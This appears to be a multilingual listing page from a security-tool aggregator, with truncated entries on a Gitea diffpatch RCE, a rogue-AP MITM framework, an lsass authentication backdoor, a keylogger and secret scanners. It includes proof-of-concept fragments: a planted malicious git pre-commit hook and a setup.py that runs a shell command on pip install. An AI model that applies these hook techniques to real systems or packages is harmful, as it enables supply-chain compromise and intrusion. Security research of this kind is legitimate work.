CVE-2026-60004

Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation...

CVE-2026-60004

CVE-2026-60004 is a critical RCE in Gitea (and Forgejo ) versions 1.17–1.27.0 (CVSS 9.8). The flaw is in the POST /api/v1/repos/{owner}/{repo}/diffpatch endpoint, where patches are applied in a bare temporary clone whose root is $GIT_DIR. Submitting the same malicious patch twice triggers an add/...

PRISM-AP

PRISM-AP DESCRIZIONE: PRISM-AP è un framework automatizzato per attacchi MITM Wireless RogueAP. FUNZIONALITÀ: Facile da configurare e usare, completamente automatizzato Sfrutta l'attacco WiFi MANA per attirare le connessioni dei client Bypass parziale di HSTS tramite bettercap Intercetta e...

drow

drow Descrizione TL;DR drow è un'utilità a riga di comando utilizzata per iniettare codice e hookare il punto di ingresso di eseguibili ELF dopo la compilazione. Prende eseguibili ELF non modificati come input ed esporta un ELF modificato contenente un payload fornito dall'utente che viene esegui...

dexcalibur

WiP : Passaggio a dexcalibur 2.0 | nome in codice : Reversense Dexcalibur Dexcalibur è una piattaforma di reverse engineering Android focalizzata sull'automazione dell'instrumentazione. La sua particolarità è l'uso dell'analisi dinamica per migliorare le euristiche di analisi statica. Mira ad...

nosferatu

nosferatu Backdoor di autenticazione Windows NTLM/Kerberos Come funziona Innanzitutto, la DLL viene iniettata nel processo lsass.exe e inizia a hookare le chiamate API di autenticazione WinAPI. Le funzioni bersaglio sono: NTLM: NtlmShared!MsvpPasswordValidate Kerberos: cryptdll!CDLocateCSystem...

talisman

Talisman Ein Werkzeug, um Geheimnisse zu erkennen und zu verhindern, dass sie eingecheckt werden Inhaltsverzeichnis Was ist Talisman? Installation Installation in den Pfad empfohlener Ansatz Installation als globale Hook-Vorlage Konfiguration eines Projekts...

talisman

Talisman A tool to detect and prevent secrets from getting checked in Table of Contents What is Talisman? Installation Install onto path recommended approach Installation as a global hook template Configuring a project...

secretlint

Secretlint Secretlint è uno strumento di linting pluggable per prevenire il commit di credenziali. Caratteristiche Scanner : Trova credenziali in un progetto e le segnala Amichevole per il progetto : Facile da configurare nel tuo progetto e da integrare con servizi CI Hook Pre-Commit : Impedisce ...

pythem

pythem - Penetration Testing Framework pythem is a multi-purpose pentest framework written in Python. It has been developed to be used by security researchers and security professionals. The tool intended to be used only for acts within the law. I am not liable for any undue and unlawful act...

keebcap

Keebcap Questa repository contiene il codice associato a questo articolo in cui parliamo di come realizzare un keylogger win32 che supporta tutte le lingue che non utilizzano input method editor. Tutti i test sono stati eseguiti su Windows 10 22h2. albero root@kitploit: . keylog code ├── capgks.c...

CVE-2024-32002-hook

CVE-2024-32002-hook...

hook

Questo repository non contiene un README...

hook

Questo repository non contiene un README...

hook

Dieses Repository hat keine README-Datei...

CVE-2025-65964-Exploit

Etapas de Reprodução Primeiro, prepare um repositório contendo um arquivo malicioso root@kitploit: mkdir n8n-rce-poc && cd n8n-rce-poc git init git remote add origin mkdir evilhooks echo '!/bin/sh' evilhooks/pre-commit echo 'touch /tmp/pwnedsuccess' evilhooks/pre-commit chmod +x...

hook

hook PoC-Exploit für CVE-2024-32002...

CVE-2026-60004

CVE-2026-60004 Gitea diffpatch RCE ★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★ Overview CVE-2026-60004 is a Remote Code Execution RCE vulnerability in Gitea. The diffpatch API applies a supplied patch with git apply --cached, which should only update the index and never write files to dis...

Critical Gitea RCE Actively Exploited as Reported Attack Drops Miner-Like Payload

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Tuesday warned of active exploitation efforts targeting a recently patched critical security flaw impacting Gitea. The vulnerability in question is CVE-2026-60004 CVSS score: 9.8, a case of remote code execution that allows an...

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – Hook di installazione di pacchetti PyPI dannosi esecuzione di setup.py Codice del programma Python root@kitploit: setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup...